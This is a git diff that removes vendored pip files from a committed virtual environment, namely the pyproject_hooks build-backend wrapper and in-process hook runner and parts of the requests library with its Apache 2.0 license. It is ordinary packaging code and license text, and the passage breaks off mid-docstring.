_supported_features(self) -> Sequence[str]: - """Return the list of optional features supported by the backend.""" - return self._call_hook("_supported_features", {}) - - def get_requires_for_build_wheel( - self, - config_settings: Optional[Mapping[str, Any]] = None, - ) -> Sequence[str]: - """Get additional dependencies required for building a wheel. - - :param config_settings: The configuration settings for the build backend - :returns: A list of :pep:`dependency specifiers <508>`. - - .. admonition:: Fallback - - If the build backend does not defined a hook with this name, an - empty list will be returned. - """ - return self._call_hook( - "get_requires_for_build_wheel", {"config_settings": config_settings} - ) - - def prepare_metadata_for_build_wheel( - self, - metadata_directory: str, - config_settings: Optional[Mapping[str, Any]] = None, - _allow_fallback: bool = True, - ) -> str: - """Prepare a ``*.dist-info`` folder with metadata for this project. - - :param metadata_directory: The directory to write the metadata to - :param config_settings: The configuration settings for the build backend - :param _allow_fallback: - Whether to allow the fallback to building a wheel and extracting - the metadata from it. Should be passed as a keyword argument only. - - :returns: Name of the newly created subfolder within - ``metadata_directory``, containing the metadata. - - .. admonition:: Fallback - - If the build backend does not define a hook with this name and - ``_allow_fallback`` is truthy, the backend will be asked to build a - wheel via the ``build_wheel`` hook and the dist-info extracted from - that will be returned. - """ - return self._call_hook( - "prepare_metadata_for_build_wheel", - { - "metadata_directory": abspath(metadata_directory), - "config_settings": config_settings, - "_allow_fallback": _allow_fallback, - }, - ) - - def build_wheel( - self, - wheel_directory: str, - config_settings: Optional[Mapping[str, Any]] = None, - metadata_directory: Optional[str] = None, - ) -> str: - """Build a wheel from this project. - - :param wheel_directory: The directory to write the wheel to - :param config_settings: The configuration settings for the build backend - :param metadata_directory: The directory to reuse existing metadata from - :returns: - The name of the newly created wheel within ``wheel_directory``. - - .. admonition:: Interaction with fallback - - If the ``build_wheel`` hook was called in the fallback for - :meth:`prepare_metadata_for_build_wheel`, the build backend would - not be invoked. Instead, the previously built wheel will be copied - to ``wheel_directory`` and the name of that file will be returned. - """ - if metadata_directory is not None: - metadata_directory = abspath(metadata_directory) - return self._call_hook( - "build_wheel", - { - "wheel_directory": abspath(wheel_directory), - "config_settings": config_settings, - "metadata_directory": metadata_directory, - }, - ) - - def get_requires_for_build_editable( - self, - config_settings: Optional[Mapping[str, Any]] = None, - ) -> Sequence[str]: - """Get additional dependencies required for building an editable wheel. - - :param config_settings: The configuration settings for the build backend - :returns: A list of :pep:`dependency specifiers <508>`. - - .. admonition:: Fallback - - If the build backend does not defined a hook with this name, an - empty list will be returned. - """ - return self._call_hook( - "get_requires_for_build_editable", {"config_settings": config_settings} - ) - - def prepare_metadata_for_build_editable( - self, - metadata_directory: str, - config_settings: Optional[Mapping[str, Any]] = None, - _allow_fallback: bool = True, - ) -> Optional[str]: - """Prepare a ``*.dist-info`` folder with metadata for this project. - - :param metadata_directory: The directory to write the metadata to - :param config_settings: The configuration settings for the build backend - :param _allow_fallback: - Whether to allow the fallback to building a wheel and extracting - the metadata from it. Should be passed as a keyword argument only. - :returns: Name of the newly created subfolder within - ``metadata_directory``, containing the metadata. - - .. admonition:: Fallback - - If the build backend does not define a hook with this name and - ``_allow_fallback`` is truthy, the backend will be asked to build a - wheel via the ``build_editable`` hook and the dist-info - extracted from that will be returned. - """ - return self._call_hook( - "prepare_metadata_for_build_editable", - { - "metadata_directory": abspath(metadata_directory), - "config_settings": config_settings, - "_allow_fallback": _allow_fallback, - }, - ) - - def build_editable( - self, - wheel_directory: str, - config_settings: Optional[Mapping[str, Any]] = None, - metadata_directory: Optional[str] = None, - ) -> str: - """Build an editable wheel from this project. - - :param wheel_directory: The directory to write the wheel to - :param config_settings: The configuration settings for the build backend - :param metadata_directory: The directory to reuse existing metadata from - :returns: - The name of the newly created wheel within ``wheel_directory``. - - .. admonition:: Interaction with fallback - - If the ``build_editable`` hook was called in the fallback for - :meth:`prepare_metadata_for_build_editable`, the build backend - would not be invoked. Instead, the previously built wheel will be - copied to ``wheel_directory`` and the name of that file will be - returned. - """ - if metadata_directory is not None: - metadata_directory = abspath(metadata_directory) - return self._call_hook( - "build_editable", - { - "wheel_directory": abspath(wheel_directory), - "config_settings": config_settings, - "metadata_directory": metadata_directory, - }, - ) - - def get_requires_for_build_sdist( - self, - config_settings: Optional[Mapping[str, Any]] = None, - ) -> Sequence[str]: - """Get additional dependencies required for building an sdist. - - :returns: A list of :pep:`dependency specifiers <508>`. - """ - return self._call_hook( - "get_requires_for_build_sdist", {"config_settings": config_settings} - ) - - def build_sdist( - self, - sdist_directory: str, - config_settings: Optional[Mapping[str, Any]] = None, - ) -> str: - """Build an sdist from this project. - - :returns: - The name of the newly created sdist within ``wheel_directory``. - """ - return self._call_hook( - "build_sdist", - { - "sdist_directory": abspath(sdist_directory), - "config_settings": config_settings, - }, - ) - - def _call_hook(self, hook_name: str, kwargs: Mapping[str, Any]) -> Any: - extra_environ = {"_PYPROJECT_HOOKS_BUILD_BACKEND": self.build_backend} - - if self.backend_path: - backend_path = os.pathsep.join(self.backend_path) - extra_environ["_PYPROJECT_HOOKS_BACKEND_PATH"] = backend_path - - with tempfile.TemporaryDirectory() as td: - hook_input = {"kwargs": kwargs} - write_json(hook_input, pjoin(td, "input.json"), indent=2) - - # Run the hook in a subprocess - with _in_proc_script_path() as script: - python = self.python_executable - self._subprocess_runner( - [python, abspath(str(script)), hook_name, td], - cwd=self.source_dir, - extra_environ=extra_environ, - ) - - data = read_json(pjoin(td, "output.json")) - if data.get("unsupported"): - raise UnsupportedOperation(data.get("traceback", "")) - if data.get("no_backend"): - raise BackendUnavailable( - data.get("traceback", ""), - message=data.get("backend_error", ""), - backend_name=self.build_backend, - backend_path=self.backend_path, - ) - if data.get("hook_missing"): - raise HookMissing(data.get("missing_hook_name") or hook_name) - return data["return_val"] diff --git a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/_in_process/__init__.py b/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/_in_process/__init__.py deleted file mode 100644 index 906d0ba20e1f3e10b35456c2db1f207a071ce246..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/_in_process/__init__.py +++ /dev/null @@ -1,21 +0,0 @@ -"""This is a subpackage because the directory is on sys.path for _in_process.py - -The subpackage should stay as empty as possible to avoid shadowing modules that -the backend might import. -""" - -import importlib.resources as resources - -try: - resources.files -except AttributeError: - # Python 3.8 compatibility - def _in_proc_script_path(): - return resources.path(__package__, "_in_process.py") - -else: - - def _in_proc_script_path(): - return resources.as_file( - resources.files(__package__).joinpath("_in_process.py") - ) diff --git a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py b/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py deleted file mode 100644 index d689bab7219b0d2abf8b127d3ddd1eb0a61eb997..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py +++ /dev/null @@ -1,389 +0,0 @@ -"""This is invoked in a subprocess to call the build backend hooks. - -It expects: -- Command line args: hook_name, control_dir -- Environment variables: - _PYPROJECT_HOOKS_BUILD_BACKEND=entry.point:spec - _PYPROJECT_HOOKS_BACKEND_PATH=paths (separated with os.pathsep) -- control_dir/input.json: - - {"kwargs": {...}} - -Results: -- control_dir/output.json - - {"return_val": ...} -""" -import json -import os -import os.path -import re -import shutil -import sys -import traceback -from glob import glob -from importlib import import_module -from importlib.machinery import PathFinder -from os.path import join as pjoin - -# This file is run as a script, and `import wrappers` is not zip-safe, so we -# include write_json() and read_json() from wrappers.py. - - -def write_json(obj, path, **kwargs): - with open(path, "w", encoding="utf-8") as f: - json.dump(obj, f, **kwargs) - - -def read_json(path): - with open(path, encoding="utf-8") as f: - return json.load(f) - - -class BackendUnavailable(Exception): - """Raised if we cannot import the backend""" - - def __init__(self, message, traceback=None): - super().__init__(message) - self.message = message - self.traceback = traceback - - -class HookMissing(Exception): - """Raised if a hook is missing and we are not executing the fallback""" - - def __init__(self, hook_name=None): - super().__init__(hook_name) - self.hook_name = hook_name - - -def _build_backend(): - """Find and load the build backend""" - backend_path = os.environ.get("_PYPROJECT_HOOKS_BACKEND_PATH") - ep = os.environ["_PYPROJECT_HOOKS_BUILD_BACKEND"] - mod_path, _, obj_path = ep.partition(":") - - if backend_path: - # Ensure in-tree backend directories have the highest priority when importing. - extra_pathitems = backend_path.split(os.pathsep) - sys.meta_path.insert(0, _BackendPathFinder(extra_pathitems, mod_path)) - - try: - obj = import_module(mod_path) - except ImportError: - msg = f"Cannot import {mod_path!r}" - raise BackendUnavailable(msg, traceback.format_exc()) - - if obj_path: - for path_part in obj_path.split("."): - obj = getattr(obj, path_part) - return obj - - -class _BackendPathFinder: - """Implements the MetaPathFinder interface to locate modules in ``backend-path``. - - Since the environment provided by the frontend can contain all sorts of - MetaPathFinders, the only way to ensure the backend is loaded from the - right place is to prepend our own. - """ - - def __init__(self, backend_path, backend_module): - self.backend_path = backend_path - self.backend_module = backend_module - self.backend_parent, _, _ = backend_module.partition(".") - - def find_spec(self, fullname, _path, _target=None): - if "." in fullname: - # Rely on importlib to find nested modules based on parent's path - return None - - # Ignore other items in _path or sys.path and use backend_path instead: - spec = PathFinder.find_spec(fullname, path=self.backend_path) - if spec is None and fullname == self.backend_parent: - # According to the spec, the backend MUST be loaded from backend-path. - # Therefore, we can halt the import machinery and raise a clean error. - msg = f"Cannot find module {self.backend_module!r} in {self.backend_path!r}" - raise BackendUnavailable(msg) - - return spec - - if sys.version_info >= (3, 8): - - def find_distributions(self, context=None): - # Delayed import: Python 3.7 does not contain importlib.metadata - from importlib.metadata import DistributionFinder, MetadataPathFinder - - context = DistributionFinder.Context(path=self.backend_path) - return MetadataPathFinder.find_distributions(context=context) - - -def _supported_features(): - """Return the list of options features supported by the backend. - - Returns a list of strings. - The only possible value is 'build_editable'. - """ - backend = _build_backend() - features = [] - if hasattr(backend, "build_editable"): - features.append("build_editable") - return features - - -def get_requires_for_build_wheel(config_settings): - """Invoke the optional get_requires_for_build_wheel hook - - Returns [] if the hook is not defined. - """ - backend = _build_backend() - try: - hook = backend.get_requires_for_build_wheel - except AttributeError: - return [] - else: - return hook(config_settings) - - -def get_requires_for_build_editable(config_settings): - """Invoke the optional get_requires_for_build_editable hook - - Returns [] if the hook is not defined. - """ - backend = _build_backend() - try: - hook = backend.get_requires_for_build_editable - except AttributeError: - return [] - else: - return hook(config_settings) - - -def prepare_metadata_for_build_wheel( - metadata_directory, config_settings, _allow_fallback -): - """Invoke optional prepare_metadata_for_build_wheel - - Implements a fallback by building a wheel if the hook isn't defined, - unless _allow_fallback is False in which case HookMissing is raised. - """ - backend = _build_backend() - try: - hook = backend.prepare_metadata_for_build_wheel - except AttributeError: - if not _allow_fallback: - raise HookMissing() - else: - return hook(metadata_directory, config_settings) - # fallback to build_wheel outside the try block to avoid exception chaining - # which can be confusing to users and is not relevant - whl_basename = backend.build_wheel(metadata_directory, config_settings) - return _get_wheel_metadata_from_wheel( - whl_basename, metadata_directory, config_settings - ) - - -def prepare_metadata_for_build_editable( - metadata_directory, config_settings, _allow_fallback -): - """Invoke optional prepare_metadata_for_build_editable - - Implements a fallback by building an editable wheel if the hook isn't - defined, unless _allow_fallback is False in which case HookMissing is - raised. - """ - backend = _build_backend() - try: - hook = backend.prepare_metadata_for_build_editable - except AttributeError: - if not _allow_fallback: - raise HookMissing() - try: - build_hook = backend.build_editable - except AttributeError: - raise HookMissing(hook_name="build_editable") - else: - whl_basename = build_hook(metadata_directory, config_settings) - return _get_wheel_metadata_from_wheel( - whl_basename, metadata_directory, config_settings - ) - else: - return hook(metadata_directory, config_settings) - - -WHEEL_BUILT_MARKER = "PYPROJECT_HOOKS_ALREADY_BUILT_WHEEL" - - -def _dist_info_files(whl_zip): - """Identify the .dist-info folder inside a wheel ZipFile.""" - res = [] - for path in whl_zip.namelist(): - m = re.match(r"[^/\\]+-[^/\\]+\.dist-info/", path) - if m: - res.append(path) - if res: - return res - raise Exception("No .dist-info folder found in wheel") - - -def _get_wheel_metadata_from_wheel(whl_basename, metadata_directory, config_settings): - """Extract the metadata from a wheel. - - Fallback for when the build backend does not - define the 'get_wheel_metadata' hook. - """ - from zipfile import ZipFile - - with open(os.path.join(metadata_directory, WHEEL_BUILT_MARKER), "wb"): - pass # Touch marker file - - whl_file = os.path.join(metadata_directory, whl_basename) - with ZipFile(whl_file) as zipf: - dist_info = _dist_info_files(zipf) - zipf.extractall(path=metadata_directory, members=dist_info) - return dist_info[0].split("/")[0] - - -def _find_already_built_wheel(metadata_directory): - """Check for a wheel already built during the get_wheel_metadata hook.""" - if not metadata_directory: - return None - metadata_parent = os.path.dirname(metadata_directory) - if not os.path.isfile(pjoin(metadata_parent, WHEEL_BUILT_MARKER)): - return None - - whl_files = glob(os.path.join(metadata_parent, "*.whl")) - if not whl_files: - print("Found wheel built marker, but no .whl files") - return None - if len(whl_files) > 1: - print( - "Found multiple .whl files; unspecified behaviour. " - "Will call build_wheel." - ) - return None - - # Exactly one .whl file - return whl_files[0] - - -def build_wheel(wheel_directory, config_settings, metadata_directory=None): - """Invoke the mandatory build_wheel hook. - - If a wheel was already built in the - prepare_metadata_for_build_wheel fallback, this - will copy it rather than rebuilding the wheel. - """ - prebuilt_whl = _find_already_built_wheel(metadata_directory) - if prebuilt_whl: - shutil.copy2(prebuilt_whl, wheel_directory) - return os.path.basename(prebuilt_whl) - - return _build_backend().build_wheel( - wheel_directory, config_settings, metadata_directory - ) - - -def build_editable(wheel_directory, config_settings, metadata_directory=None): - """Invoke the optional build_editable hook. - - If a wheel was already built in the - prepare_metadata_for_build_editable fallback, this - will copy it rather than rebuilding the wheel. - """ - backend = _build_backend() - try: - hook = backend.build_editable - except AttributeError: - raise HookMissing() - else: - prebuilt_whl = _find_already_built_wheel(metadata_directory) - if prebuilt_whl: - shutil.copy2(prebuilt_whl, wheel_directory) - return os.path.basename(prebuilt_whl) - - return hook(wheel_directory, config_settings, metadata_directory) - - -def get_requires_for_build_sdist(config_settings): - """Invoke the optional get_requires_for_build_wheel hook - - Returns [] if the hook is not defined. - """ - backend = _build_backend() - try: - hook = backend.get_requires_for_build_sdist - except AttributeError: - return [] - else: - return hook(config_settings) - - -class _DummyException(Exception): - """Nothing should ever raise this exception""" - - -class GotUnsupportedOperation(Exception): - """For internal use when backend raises UnsupportedOperation""" - - def __init__(self, traceback): - self.traceback = traceback - - -def build_sdist(sdist_directory, config_settings): - """Invoke the mandatory build_sdist hook.""" - backend = _build_backend() - try: - return backend.build_sdist(sdist_directory, config_settings) - except getattr(backend, "UnsupportedOperation", _DummyException): - raise GotUnsupportedOperation(traceback.format_exc()) - - -HOOK_NAMES = { - "get_requires_for_build_wheel", - "prepare_metadata_for_build_wheel", - "build_wheel", - "get_requires_for_build_editable", - "prepare_metadata_for_build_editable", - "build_editable", - "get_requires_for_build_sdist", - "build_sdist", - "_supported_features", -} - - -def main(): - if len(sys.argv) < 3: - sys.exit("Needs args: hook_name, control_dir") - hook_name = sys.argv[1] - control_dir = sys.argv[2] - if hook_name not in HOOK_NAMES: - sys.exit("Unknown hook: %s" % hook_name) - - # Remove the parent directory from sys.path to avoid polluting the backend - # import namespace with this directory. - here = os.path.dirname(__file__) - if here in sys.path: - sys.path.remove(here) - - hook = globals()[hook_name] - - hook_input = read_json(pjoin(control_dir, "input.json")) - - json_out = {"unsupported": False, "return_val": None} - try: - json_out["return_val"] = hook(**hook_input["kwargs"]) - except BackendUnavailable as e: - json_out["no_backend"] = True - json_out["traceback"] = e.traceback - json_out["backend_error"] = e.message - except GotUnsupportedOperation as e: - json_out["unsupported"] = True - json_out["traceback"] = e.traceback - except HookMissing as e: - json_out["hook_missing"] = True - json_out["missing_hook_name"] = e.hook_name or hook_name - - write_json(json_out, pjoin(control_dir, "output.json"), indent=2) - - -if __name__ == "__main__": - main() diff --git a/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/py.typed b/venv/Lib/site-packages/pip/_vendor/pyproject_hooks/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/pip/_vendor/requests/LICENSE b/venv/Lib/site-packages/pip/_vendor/requests/LICENSE deleted file mode 100644 index 67db8588217f266eb561f75fae738656325deac9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/LICENSE +++ /dev/null @@ -1,175 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. diff --git a/venv/Lib/site-packages/pip/_vendor/requests/__init__.py b/venv/Lib/site-packages/pip/_vendor/requests/__init__.py deleted file mode 100644 index 22d2c42f5f50437f4c04230bc28a9eeec7e58c38..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/__init__.py +++ /dev/null @@ -1,214 +0,0 @@ -# __ -# /__) _ _ _ _ _/ _ -# / ( (- (/ (/ (- _) / _) -# / - -""" -Requests HTTP Library -~~~~~~~~~~~~~~~~~~~~~ - -Requests is an HTTP library, written in Python, for human beings. -Basic GET usage: - - >>> import requests - >>> r = requests.get('https://www.python.org') - >>> r.status_code - 200 - >>> b'Python is a programming language' in r.content - True - -... or POST: - - >>> payload = dict(key1='value1', key2='value2') - >>> r = requests.post('https://httpbin.org/post', data=payload) - >>> print(r.text) - { - ... - "form": { - "key1": "value1", - "key2": "value2" - }, - ... - } - -The other HTTP methods are supported - see `requests.api`. Full documentation -is at . - -:copyright: (c) 2017 by Kenneth Reitz. -:license: Apache 2.0, see LICENSE for more details. -""" - -from __future__ import annotations - -import warnings - -from pip._vendor import urllib3 - -from .exceptions import RequestsDependencyWarning - -charset_normalizer_version = None -chardet_version = None - - -def check_compatibility( - urllib3_version: str, - chardet_version: str | None, - charset_normalizer_version: str | None, -) -> None: - urllib3_version_list = urllib3_version.split(".")[:3] - assert urllib3_version_list != ["dev"] # Verify urllib3 isn't installed from git. - - # Sometimes, urllib3 only reports its version as 16.1. - if len(urllib3_version_list) == 2: - urllib3_version_list.append("0") - - # Check urllib3 for compatibility. - major, minor, patch = urllib3_version_list # noqa: F811 - major, minor, patch = int(major), int(minor), int(patch) - # urllib3 >= 1.21.1 - assert major >= 1 - if major == 1: - assert minor >= 21 - - # Check charset_normalizer for compatibility. - if chardet_version: - major, minor, patch = chardet_version.split(".")[:3] - major, minor, patch = int(major), int(minor), int(patch) - # chardet_version >= 3.0.2, < 8.0.0 - assert (3, 0, 2) <= (major, minor, patch) < (8, 0, 0) - elif charset_normalizer_version: - major, minor, patch = charset_normalizer_version.split(".")[:3] - major, minor, patch = int(major), int(minor), int(patch) - # charset_normalizer >= 2.0.0 < 4.0.0 - assert (2, 0, 0) <= (major, minor, patch) < (4, 0, 0) - else: - # pip does not need or use character detection - pass - - -def _check_cryptography(cryptography_version: str) -> None: - # cryptography < 1.3.4 - try: - cryptography_version_list = list(map(int, cryptography_version.split("."))) - except ValueError: - return - - if cryptography_version_list < [1, 3, 4]: - warning = f"Old version of cryptography ({cryptography_version_list}) may cause slowdown." - warnings.warn(warning, RequestsDependencyWarning) - - -# Check imported dependencies for compatibility. -try: - check_compatibility( - urllib3.__version__, # type: ignore[reportPrivateImportUsage] - chardet_version, # type: ignore[reportUnknownArgumentType] - charset_normalizer_version, - ) -except (AssertionError, ValueError): - warnings.warn( - f"urllib3 ({urllib3.__version__}) or chardet " # type: ignore[reportPrivateImportUsage] - f"({chardet_version})/charset_normalizer ({charset_normalizer_version}) " - "doesn't match a supported version!", - RequestsDependencyWarning, - ) - -# Attempt to enable urllib3's fallback for SNI support -# if the standard library doesn't support SNI or the -# 'ssl' library isn't available. -try: - # Note: This logic prevents upgrading cryptography on Windows, if imported - # as part of pip. - from pip._internal.utils.compat import WINDOWS - if not WINDOWS: - raise ImportError("pip internals: don't import cryptography on Windows") - try: - import ssl - except ImportError: - ssl = None - - if not getattr(ssl, "HAS_SNI", False): - from pip._vendor.urllib3.contrib import pyopenssl - - pyopenssl.inject_into_urllib3() - - # Check cryptography version - from cryptography import ( # type: ignore[reportMissingImports] - __version__ as cryptography_version, # type: ignore[reportUnknownVariableType] - ) - - _check_cryptography(cryptography_version) # type: ignore[reportUnknownArgumentType] -except ImportError: - pass - -# urllib3's DependencyWarnings should be silenced. -from pip._vendor.urllib3.exceptions import DependencyWarning - -warnings.simplefilter("ignore", DependencyWarning) - -# Set default logging handler to avoid "No handler found" warnings. -import logging -from logging import NullHandler - -from . import packages, utils -from .__version__ import ( - __author__, - __author_email__, - __build__, - __cake__, - __copyright__, - __description__, - __license__, - __title__, - __url__, - __version__, -) -from .api import delete, get, head, options, patch, post, put, request -from .exceptions import ( - ConnectionError, - ConnectTimeout, - FileModeWarning, - HTTPError, - JSONDecodeError, - ReadTimeout, - RequestException, - Timeout, - TooManyRedirects, - URLRequired, -) -from .models import PreparedRequest, Request, Response -from .sessions import Session, session -from .status_codes import codes - -__all__ = ( - "ConnectionError", - "ConnectTimeout", - "HTTPError", - "JSONDecodeError", - "PreparedRequest", - "ReadTimeout", - "Request", - "RequestException", - "Response", - "Session", - "Timeout", - "TooManyRedirects", - "URLRequired", - "codes", - "delete", - "get", - "head", - "options", - "packages", - "patch", - "post", - "put", - "request", - "session", - "utils", -) - -logging.getLogger(__name__).addHandler(NullHandler()) - -# FileModeWarnings go off per the default. -warnings.simplefilter("default", FileModeWarning, append=True) diff --git a/venv/Lib/site-packages/pip/_vendor/requests/__version__.py b/venv/Lib/site-packages/pip/_vendor/requests/__version__.py deleted file mode 100644 index fea814e58271ecb7a1088ce9ac636791a2cc1289..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/__version__.py +++ /dev/null @@ -1,14 +0,0 @@ -# .-. .-. .-. . . .-. .-. .-. .-. -# |( |- |.| | | |- `-. | `-. -# ' ' `-' `-`.`-' `-' `-' ' `-' - -__title__ = "requests" -__description__ = "Python HTTP for Humans." -__url__ = "https://requests.readthedocs.io" -__version__ = "2.34.2" -__build__ = 0x023402 -__author__ = "Kenneth Reitz" -__author_email__ = "me@kennethreitz.org" -__license__ = "Apache-2.0" -__copyright__ = "Copyright Kenneth Reitz" -__cake__ = "\u2728 \U0001f370 \u2728" diff --git a/venv/Lib/site-packages/pip/_vendor/requests/_internal_utils.py b/venv/Lib/site-packages/pip/_vendor/requests/_internal_utils.py deleted file mode 100644 index 0466a7d347db4ed34a37db51b75fc8e80bc06055..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/_internal_utils.py +++ /dev/null @@ -1,51 +0,0 @@ -""" -requests._internal_utils -~~~~~~~~~~~~~~ - -Provides utility functions that are consumed internally by Requests -which depend on extremely few external helpers (such as compat) -""" - -import re - -from .compat import builtin_str - -_VALID_HEADER_NAME_RE_BYTE = re.compile(rb"^[^:\s][^:\r\n]*\Z") -_VALID_HEADER_NAME_RE_STR = re.compile(r"^[^:\s][^:\r\n]*\Z") -_VALID_HEADER_VALUE_RE_BYTE = re.compile(rb"^\S[^\r\n]*\Z|^\Z") -_VALID_HEADER_VALUE_RE_STR = re.compile(r"^\S[^\r\n]*\Z|^\Z") - -_HEADER_VALIDATORS_STR = (_VALID_HEADER_NAME_RE_STR, _VALID_HEADER_VALUE_RE_STR) -_HEADER_VALIDATORS_BYTE = (_VALID_HEADER_NAME_RE_BYTE, _VALID_HEADER_VALUE_RE_BYTE) -HEADER_VALIDATORS = { - bytes: _HEADER_VALIDATORS_BYTE, - str: _HEADER_VALIDATORS_STR, -} - - -def to_native_string(string: str | bytes, encoding: str = "ascii") -> str: - """Given a string object, regardless of type, returns a representation of - that string in the native string type, encoding and decoding where - necessary. This assumes ASCII unless told otherwise. - """ - if isinstance(string, builtin_str): - out = string - else: - out = string.decode(encoding) - - return out - - -def unicode_is_ascii(u_string: str) -> bool: - """Determine if unicode string only contains ASCII characters. - - :param str u_string: unicode string to check. Must be unicode - and not Python 2 